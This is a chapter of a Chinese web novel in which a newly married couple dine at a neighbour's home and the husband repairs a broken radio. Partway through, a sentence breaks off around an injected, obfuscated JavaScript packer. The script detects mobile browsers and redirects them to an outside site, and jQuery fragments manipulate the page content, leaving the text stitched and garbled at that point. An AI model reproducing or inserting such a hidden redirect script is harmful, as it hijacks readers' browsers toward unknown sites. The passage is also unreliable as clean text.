虞春生架着孩子的咯吱窝像栽葱一样把他抱起来杵在地面上,许棠眠也好心地半蹲着身子替孩子掸去衣角和膝盖上的灰。
身后忽然传来一声训斥,声音还有些耳熟。
“让你别跑那么快就非不听话,这下摔了吧!”
男孩大约五六岁,本来没哭的,听了这话嗷的一下就哭了,也不顾面前的许棠眠,猛的一转身朝妈妈跑过去了。
他的动作太快,许棠眠一时没反应过来,被他带的一屁股坐在地上。
她听到头顶传来一声笑,抬头却只看到男人还没来得及收完的笑脸,正微张着嘴唇一脸正色问她:
“没事吧?自己能起来吗?”
许棠眠怒了,要笑就笑,要哭就哭,他到底在憋什么啊?
已是下午七点多了,天色终于有了暗下的迹象,穿过走廊西边那道玻璃而来的一束夕阳,将整个走廊印成了金色。
许棠眠想着,她和虞春生如今是夫妻了,哪怕只是做做样子,也是名义上的夫妻了,没那么多顾忌。
她一手撑地,一手抓着他主动伸来的右手踉跄着站了起来。
那男孩跑到了林大姐身边,她正挽着另一个八岁左右,扎着双马尾麻花辫的女孩疾步走来。见到男孩她一脸的心疼,但也只是替他拭去泪水就没再说什么。
见到许棠眠,她那脸上的心疼又化成了一抹微笑。林大姐搀着孩子的手微微一动又松开,女孩就笑脸盈盈走向许棠眠。
“阿姨,我们来请你到我家做客,祝你新婚快乐。”
女孩浓眉大眼的看起来很乖但有些拘谨,说话时眼神都在乱飘,但还是咧着嘴巴说完了这些大人教她的话。
许棠眠情不自禁歪着头抿唇看她,整个人被她萌得不知道说些什么好了。
林大姐缓缓上前,笑着打趣她,“怎么样呀?能不能做得了主?”
“当然能做主!”许棠眠下意识瞥了虞春生一眼,梗着脖子回她。
应该能吧?他们不就是准备出门弄点饭吃的吗?何况虞春生是见过林大姐的。
林大姐意味深长地笑着瞥了她一眼,又问向虞春生,“怎么样?我和孩子们都来请你们小两口了,再不赏脸只能把我家老刘喊出来了。”
她抬起一只手附在许棠眠耳边像是在说悄悄话,声音却一点儿没小。
“不过老刘在家做饭呢,把他喊过来我们就只能一起做饭了。”
虞春生抿唇一笑,自然地走到许棠眠身侧指着她说,“她说了算。”
许棠眠忽觉身板子立得更正了,昂首挺胸已经不足以表达她当下的骄傲。
她搀着林大姐家的女孩,尽量和善同她说,“那你给叔叔阿姨带路好不好?”
女孩点了点头。
一行人走至单元楼下,许棠眠大老远便看到卫生室内那个一瘸一拐在病人间忙碌的身影。
不知为何,她的心里有一丝同情。
女孩跟着弟弟一起,两人分别霸占了虞春生的左右手。
许棠眠放缓了脚步,走在后头同林芳萍小声说着,“林大姐,你那边有没有什么合适的女同志可以介绍给宋医生的?”
林芳萍一脸惊讶,“你要给他介绍对象?”
许棠眠点点头,垂着眼眸面带惋惜,“我觉得宋医生人挺好的,快三十了还是一个人未免有些孤单。他不就是腿脚有些毛病嘛,又不是残废了,怎么会没人要呢?”
林芳萍叹了口气,含糊说道:“也许他有自己的想法,外人不方便管的。”
说笑间到了地方,林芳萍家并未关门,走到楼道里便能闻到一股红烧肉的香味。
这会子吃点肉还得有肉票,也就是林芳萍的丈夫算是厂里的干部,寻常人家哪能说吃肉就吃肉。
许棠眠来这里不足半月,原身住在学校安排的临时宿舍里。若不是学校一位老师好心介绍,她可能都不知道学校缺语文老师嘞。
那会还没正式工作,学校能答应让她住宿舍已经是大发慈悲,哪能再为她安排别的呢?
许棠眠这些天来都是靠着这位老师的接济过的,每日中午两个馒头加点自家做的咸菜,接连吃了一个礼拜,她快吐了。
可一日三餐只有这一餐能吃上饭,而且别人家的粮食也不富裕,再吃不下也得吃啊。
今天是和虞春生领证的第一天,虽然她知道对方和她不过是凑合,根本没有一点夫妻感情,可还是忍不住期待能吃上一顿像样的饭。
没想到这个愿望在林大姐家实现了。
红烧肉啊…不止是虞春生,这下她的肚子也要叫了。
咕咕两声,林芳萍先是微微睁大了眼睛,又一脸诧异地看着许棠眠。
“饿了啊小许?”她笑着打趣。
恰好几人现在都进了屋,刘平端着一碗热气腾腾的红烧肉风风火火从厨房走出来。
“都让让!都让让!”
终于到了餐桌前,刘平将红烧肉桄榔一放,震得桌面都轻轻抖了一下,他将垫着盘子的抹布朝桌上一扔,手放在嘴边吹了两下。
“呼!烫死我了!”
林芳萍笑着走进厨房,“咱们回来得正好啊,路上可就听到咱们小许肚子叫了。”
许棠眠害羞地微昂着头,又气又恼的冲林芳萍急促喊了声,“大姐!!”
菜橱就在厨房进门处,林芳萍拿了几个碗正数着筷子,忽又仰着头冲虞春生道:
“小虞啊,你这个新婚丈夫可不合格啊,把老婆饿成这样。”
虞春生正陪着孩子玩,闻言眼睛忽的瞪大了一瞬,显得茫然无措。他快速瞥了一眼许棠眠,见对方也看着他又急忙将头摆了回来。
“啧。”林芳萍摇了摇头,“俩人闷到一块去了,可真为你们发愁。”
丈夫刘平解下身上的围裙搭在一旁,自然地为她拉开椅子,笑着道:“他们俩又不是小孩子,你也甭想那么多了。真要是无聊啊,还不如看看咱家那俩捣蛋鬼。”
话音刚落,小儿子刘子航嗷的一声叫了出来,伴随着他尖锐叫声的,是收音机里发出的滋啦滋啦声。
“你看看!”刘平脸色一变,上前就要抓他,“吃饭不来帮忙,一直日摆那个破收音机。”
刘子航朝着母亲身后跑去,边跑边叫,“收音机本来就是破的,我是好心替你们修的!不讲理!”
“要你修!”刘平本来只是作势要打,没想到这孩子在外人面前还如此顽劣,根本不给他面子,干脆拎起手边鸡毛掸子在房间里转着圈追着打。
许棠眠哪里还坐得住,只好站起来拦着刘平,硬着头皮道:“那个,姐夫…消消气,他还是个孩子嘛…”
林芳萍也挡在孩子身前,秀眉轻蹙跺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448903|185230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着脚,“老刘!当着外人面你就不能收着点!”
刘平轻呼一口气,眼神在许棠眠和虞春生之间转了一瞬,这才扔了鸡毛掸子,手指着“不孝子”恶狠狠道:“晚上我再收拾你!”
许棠眠肚子又叫了几声,幸好战场够乱,也没人听得到。到底什么时候开饭啊?她快饿死了。
诶?感觉漏了个人。
许棠眠看向沙发上那个在这场大战中分毫未动的身影——她的新婚丈夫,正拿着不知从哪里摸出来的螺丝刀,把收音机拆得不像话,零件掉了一地。
“你别乱动啊!”她走过去在他身边小声说着,“我们可没钱赔的。”
见虞春生不理她,许棠眠又蹲下将零件一一捡起来,刚捡了两个小螺丝,上方忽然传来一声轻呵。
“放着。”
许棠眠不敢动了,手里攥着两个螺丝径直站了起来。
虞春生已将收音机装了个差不多。
看那收音机正面似乎有了些儿时在爷爷家看到的样子,许棠眠正愣神,手心一痒。
刚捡起来的两个螺丝被虞春生夺了去。
他神情专注地看着手中的螺丝刀,几秒钟后,收音机组装完毕。
抬起天线,轻轻按动上方按钮,几道滋啦声后,从听筒里传出了播音员字正腔圆的声音。
“修好了。”他温和地笑着,像个朴实无华的邻家哥哥。
林芳萍一脸惊讶走来,“可以啊小虞,这收音机坏了好久了,老刘拿它一点办法没有,正打算过几天拿到市里去修呢。”
“这没什么。”虞春生低头腼腆一笑,“以前跟老师傅学过一点,您家以后要是有什么东西坏了,都可以来找我。”
“行啊。”林芳萍重重在他肩上一拍,“那我可不跟你客气了。”
林大姐今天穿了那件初见时的蓝色碎花布拉吉,抬手时即便中间隔着一个虞春生,许棠眠还是能闻到一股好闻的皂荚香味。
看着虞春生那张含羞带怯的俊脸,许棠眠心上忽然涌起一股醋意。
这男人,哪怕就喜欢姐姐类型的,也不能和她领证第一天就对其他女人露出这种神情吧?
本来还想着两人婚后各做各的事,感情上顺其自然,现在看来还不能由着他了。
许棠眠憋着一股劲,忽然攥起虞春生的胳膊,将他拽到了餐桌旁。
方才那场大战,无人在意的角落里,林大姐家的大女儿刘嘉舫默默盛好了几碗饭,恭恭敬敬摆到了桌上。
“还是闺女好。”刘平看着乖巧的大女儿脸色都柔和了些,再一看旁边的逆子竟然不等长辈发话就动筷夹肉,一时火气又冲了上来。
林芳萍眼疾手快,伸手从儿子筷下夹走那块肉放回盘中,故作生气道:“你这孩子,成心让爸妈不高兴是不是?长辈都没动筷呢,你动什么筷子!”
见桌上气氛剑拔弩张大有一触即发之意,许棠眠打着哈哈道:“没事没事,小孩子嘛,饿了就让他吃吧,我们不在意。”
林芳萍叹了口气,“唉,就晚了一年。”
她瞪了一眼儿子,满腹幽怨道:“早知道是这么个捣蛋鬼,当时说什么也不生二胎了。”
许棠眠不好说什么,只能尴尬一笑扒拉着饭,却又听林大姐话锋一转冲她说道:
“小许你记得啊,以后生一个就行。”